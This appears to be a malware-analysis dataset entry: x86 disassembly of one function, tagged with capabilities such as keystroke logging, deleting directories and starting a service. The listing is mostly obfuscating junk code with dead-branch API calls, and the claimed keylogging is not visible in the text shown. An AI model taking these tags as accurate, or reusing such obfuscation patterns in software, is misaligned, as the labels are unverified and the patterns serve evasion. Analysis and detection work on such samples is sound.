Function at 0x1002f721
Capabilities:
Delete directory
Get disk information
Get graphical window text
Get keyboard layout
Identify system language via api
Log keystrokes
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10c0
call fcn.1007b260
push ebx
xor eax, eax
mov byte [ebp - 0x55], dl
xor ebx, ebx
mov dword [ebp - 0xc], eax
inc ebx
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0xc], ebx
jge 0x1002f75a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x504], 0x57fd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x1002f742
xor eax, eax
push 3
mov dword [ebp - 0xc], eax
pop edx
cmp dword [ebp - 0xc], edx
jge 0x1002f77d
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2f4], 0xf5c184c5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x1002f765
xor eax, eax
mov dword [ebp - 0x2f4], eax
jmp 0x1002f79c
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0x504], 0
inc dword [ebp - 0x2f4]
cmp dword [ebp - 0x2f4], ebx
jl 0x1002f785
mov eax, dword [ebp - 0x2ec]
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
dec ecx
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x14], 0x5b9b55bb
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x34], 0xb58e
mov dword [ebp - 0x38], 0xa77b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002f7f6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc80], 0x59e57ad9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002f7de
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002f816
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc8], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002f7fe
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002f839
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1050], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002f821
xor eax, eax
push edi
push 2
mov dword [ebp - 0x14], eax
pop edi
jmp 0x1002f853
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7a4], 0xde360abe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f842
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc78], eax
inc dword [ebp - 0x7a4]
xor eax, eax
mov dword [ebp - 0x18], 0xdc4b4e12
mov dword [ebp - 0xc], 0xae77ab39
mov dword [ebp - 0x34], 0xdae9
mov dword [ebp - 0x40], 0xff5452fa
mov dword [ebp - 4], eax
jmp 0x1002f89b
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xe08], 0xfffffffa
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002f88a
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x1002f908
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ebp - 0xc], eax
jne 0x1002f904
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
add ecx, dword [ebp - 0xc]
je 0x1002f8e2
mov edx, ebx
cmp dword [ebp - 0xc], eax
jne 0x1002f8e4
mov edx, eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp edx, eax
push 3
setne cl
xor eax, eax
cmp ecx, 0x355fff83
pop edx
setl al
add eax, dword [ebp - 0x18]
je 0x1002f904
mov eax, dword [ebp - 0x34]
mov eax, ebx
jmp 0x1002f90a
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x26
jl 0x1002f940
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x18], ebx
je 0x1002f927
mov ecx, ebx
cmp dword [ebp - 0x44], eax
jne 0x1002f929
mov ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, ecx
mov dword [ebp - 0xe04], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x26
push 0
pop eax
jge 0x1002f918
mov dword [ebp - 0x30], 0xc58d4ccf
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x1002f96d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb84], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1002f959
xor eax, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov dword [ebp - 0xc], eax
jmp 0x1002f991
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002f98e
push 0x91e
push eax
push eax
push eax
call esi
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff0
je 0x1002f979
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffe6
je 0x1002fa61
mov dword [ebp - 0x2c], 0xf8067e30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002f9cb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6cc], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002f9b3
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002f9eb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa08], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002f9d3
xor eax, eax
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], eax
jl 0x1002fa48
mov dword [ebp - 0x34], 0xffffffff
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x6cc]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x6cc]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0xa08], ecx
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002fa43
push eax
push eax
push 0x1bf
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
dec dword [ebp - 0x2c]
jns 0x1002f9f3
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb7c], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe6
push 0
pop eax
jne 0x1002f9a4
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x2c], 0xf6af1124
mov dword [ebp - 0x2c], eax
jmp 0x1002fb0f
mov dword [ebp - 0x20], 0xd3f46721
push 3
mov dword [ebp - 4], eax
pop ecx
cmp dword [ebp - 4], ecx
jge 0x1002faa6
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc98], 0xfa75c19c
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002fa8e
xor eax, eax
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x1002fae5
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], eax
jl 0x1002fae0
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc98], ecx
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002fade
dec dword [ebp - 0x24]
jns 0x1002fac5
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1002fab2
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002fb0c
push 0x1cbd
push eax
push 0x16f2
push 0x11a5
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffa
jne 0x1002fa7c
push 6
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jle 0x1002fcb5
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x38], 2
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002fb4f
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002fb6e
xor eax, eax
inc eax
push eax
push 0x1fec
push 0x1c7b
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff6
xor ecx, ecx
mov dword [ebp - 0x44], 0xab659d56
inc ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ecx
jge 0x1002fb9f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xac0], 0x6834504c
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002fb87
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002fbb7
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x14], eax
jne 0x1002fbf3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002fbf5
mov eax, ecx
xor ecx, ecx
cmp eax, 0xfe9a5a16
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add edx, 0xf448
neg edx
sbb edx, edx
neg edx
imul eax, edx
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002fc3c
cmp dword [ebp - 0x14], eax
jne 0x1002fc3c
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, 0x833e
setle dl
dec eax
neg eax
sbb eax, eax
inc eax
imul edx, eax
cmp edx, dword [ebp - 0x30]
je 0x1002fc87
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002fc87
xor ecx, ecx
inc ecx
jmp 0x1002fc8c
xor ecx, ecx
inc ecx
mov eax, ecx
cmp eax, dword [ebp - 0x14]
jg 0x1002fc98
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002fc9a
mov eax, ecx
imul eax, eax, 0x4e31
push 6
pop edx
push 0
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], edx
jg 0x1002fb28
mov dword [ebp - 0x14], 0x5b9b55bb
xor ecx, ecx
mov dword [ebp - 0x44], edx
inc ecx
mov dword [ebp - 0x30], 0xc58d4ccf
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jle 0x1002fde8
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x2c], 0xfffffff6
cmp dword [ebp - 0x14], eax
jne 0x1002fd26
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002fd28
mov eax, ecx
xor ecx, ecx
cmp eax, 0xfe9a5a16
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add edx, 0xf448
neg edx
sbb edx, edx
neg edx
imul eax, edx
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002fd6f
cmp dword [ebp - 0x14], eax
jne 0x1002fd6f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, 0x833e
setle dl
dec eax
neg eax
sbb eax, eax
inc eax
imul edx, eax
cmp edx, dword [ebp - 0x30]
je 0x1002fdba
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002fdba
xor ecx, ecx
inc ecx
jmp 0x1002fdbf
xor ecx, ecx
inc ecx
mov eax, ecx
cmp eax, dword [ebp - 0x14]
jg 0x1002fdcb
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002fdcd
mov eax, ecx
imul eax, eax, 0x4e31
push 6
pop edx
push 0
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], edx
jg 0x1002fcd8
mov dword [ebp - 0x14], 0x5b9b55bb
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x30], 0xc58d4ccf
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jle 0x1002ff16
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x2c], 0xfffffff6
cmp dword [ebp - 0x14], eax
jne 0x1002fe56
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002fe58
mov eax, ecx
xor ecx, ecx
cmp eax, 0xfe9a5a16
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add edx, 0xf448
neg edx
sbb edx, edx
neg edx
imul eax, edx
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002fe9f
cmp dword [ebp - 0x14], eax
jne 0x1002fe9f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, 0x833e
setle dl
dec eax
neg eax
sbb eax, eax
inc eax
imul edx, eax
cmp edx, dword [ebp - 0x30]
je 0x1002feea
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002feea
xor ecx, ecx
inc ecx
jmp 0x1002feef
xor ecx, ecx
inc ecx
mov eax, ecx
cmp eax, dword [ebp - 0x14]
jg 0x1002fefb
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002fefd
mov eax, ecx
imul eax, eax, 0x4e31
push 0
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 6
pop eax
jg 0x1002fe08
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ecx
jge 0x1002ff36
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb8], 7
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002ff1e
xor eax, eax
mov dword [ebp - 0xb8], eax
jmp 0x1002ff66
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002ff60
push 0xc8a
push 0x1f9b
push eax
call ebx
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
xor eax, eax
dec dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 0xfffffff8
jge 0x1002ff3e
mov dword [ebp - 0x2c], 0xf6af1124
mov dword [ebp - 0x2c], eax
jmp 0x10030011
mov dword [ebp - 0x20], 0xd3f46721
push 3
mov dword [ebp - 4], eax
pop ecx
cmp dword [ebp - 4], ecx
jge 0x1002ffa8
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xca4], 0xfa75c19c
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002ff90
xor eax, eax
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x1002ffe7
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], eax
jl 0x1002ffe2
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xca4], ecx
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002ffe0
dec dword [ebp - 0x24]
jns 0x1002ffc7
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1002ffb4
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003000e
push 0x1cbd
push eax
push 0x16f2
push 0x11a5
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffa
jne 0x1002ff7e
xor edx, edx
mov dword [ebp - 0xc], eax
inc edx
cmp dword [ebp - 0xc], edx
jge 0x1003003e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x48c], 0x57fd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x10030026
xor eax, eax
push 3
mov dword [ebp - 0xc], eax
pop ecx
cmp dword [ebp - 0xc], ecx
jge 0x10030061
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x344], 0xf5c184c5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x10030049
xor eax, eax
mov dword [ebp - 0x344], eax
jmp 0x10030080
mov eax, dword [ebp - 0x344]
mov dword [ebp + eax*4 - 0x48c], 0
inc dword [ebp - 0x344]
cmp dword [ebp - 0x344], edx
jl 0x10030069
mov eax, dword [ebp - 0x33c]
xor ecx, ecx
cmp eax, 3
setl cl
xor eax, eax
dec ecx
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x38], 2
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x100300ba
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor edx, edx
xor eax, eax
inc edx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100300d6
push edx
push 0x1fec
push 0x1c7b
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor eax, eax
mov dword [ebp - 0x10], 0x5b9b55bb
xor edx, edx
mov dword [ebp - 0x44], 0xab659d56
inc edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x10030107
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x9f8], 0x6834504c
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x100300ef
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003011f
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor edx, edx
xor eax, eax
inc edx
inc dword [ebp - 0x44]
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x18], 0xdc4b4e12
mov dword [ebp - 0xc], 0xae77ab39
mov dword [ebp - 0x34], 0xdae9
mov dword [ebp - 0x40], 0xff5452fa
mov dword [ebp - 4], eax
jmp 0x1003015b
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xe20], 0xfffffffa
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x1003014a
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x100301cc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ebp - 0xc], eax
jne 0x100301c8
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
add ecx, dword [ebp - 0xc]
je 0x100301a6
cmp dword [ebp - 0xc], eax
je 0x100301a6
lea edx, [eax + 1]
jmp 0x100301a8
mov edx, eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x355fff83
setl al
xor edx, edx
inc edx
add eax, dword [ebp - 0x18]
je 0x100301c8
mov eax, dword [ebp - 0x34]
mov eax, edx
jmp 0x100301ce
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x26
jl 0x10030204
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x18], edx
je 0x100301eb
mov ecx, edx
cmp dword [ebp - 0x44], eax
jne 0x100301ed
mov ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, ecx
mov dword [ebp - 0xe1c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x26
push 0
pop eax
jge 0x100301dc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edx
jge 0x10030224
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x508], 0x57fd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x1003020c
xor eax, eax
push 3
mov dword [ebp - 0xc], eax
pop ecx
cmp dword [ebp - 0xc], ecx
jge 0x10030247
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x308], 0xf5c184c5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x1003022f
xor eax, eax
mov dword [ebp - 0x308], eax
jmp 0x10030266
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x508], 0
inc dword [ebp - 0x308]
cmp dword [ebp - 0x308], edx
jl 0x1003024f
mov eax, dword [ebp - 0x300]
xor ecx, ecx
cmp eax, 3
push 3
setl cl
xor eax, eax
dec ecx
mov dword [ebp - 0x308], ecx
mov dword [ebp - 0x3c], 0xc58d4ccf
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 4], eax
pop ecx
cmp dword [ebp - 4], ecx
jge 0x100302b2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb90], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1003029e
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffff0
jne 0x100302dc
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100302d0
push 0x91e
push eax
push eax
push eax
call esi
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff0
je 0x100302bb
xor edx, edx
inc edx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffe6
je 0x100303b0
mov dword [ebp - 0x2c], 0xf8067e30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030312
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x714], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100302f9
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030334
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa14], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003031b
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
jl 0x10030397
mov dword [ebp - 0x34], 0xffffffff
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x714]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x714]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0xa14], ecx
inc edx
xor eax, eax
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10030392
push eax
push eax
push 0x1bf
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor edx, edx
inc edx
dec dword [ebp - 0x2c]
jns 0x1003033c
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb88], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe6
push 0
pop eax
jne 0x100302e9
mov dword [ebp - 0x18], 0xdc4b4e12
mov dword [ebp - 0xc], 0xae77ab39
mov dword [ebp - 0x34], 0xdae9
mov dword [ebp - 0x40], 0xff5452fa
mov dword [ebp - 4], eax
jmp 0x100303e2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xf08], 0xfffffffa
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x100303d1
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x10030453
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ebp - 0xc], eax
jne 0x1003044f
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
add ecx, dword [ebp - 0xc]
je 0x1003042d
cmp dword [ebp - 0xc], eax
je 0x1003042d
lea edx, [eax + 1]
jmp 0x1003042f
mov edx, eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x355fff83
setl al
xor edx, edx
inc edx
add eax, dword [ebp - 0x18]
je 0x1003044f
mov eax, dword [ebp - 0x34]
mov eax, edx
jmp 0x10030455
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x26
jl 0x1003048b
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x18], edx
je 0x10030472
mov ecx, edx
cmp dword [ebp - 0x44], eax
jne 0x10030474
mov ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, ecx
mov dword [ebp - 0xf04], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x26
push 0
pop eax
jge 0x10030463
mov dword [ebp - 0x34], edx
mov dword [ebp - 0xc], 0xffffffff
push 3
mov dword [ebp - 4], eax
pop ecx
cmp dword [ebp - 4], ecx
jge 0x100304b4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xba8], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x100304a0
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffff0
jne 0x100304de
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100304d2
push 0x91e
push eax
push eax
push eax
call esi
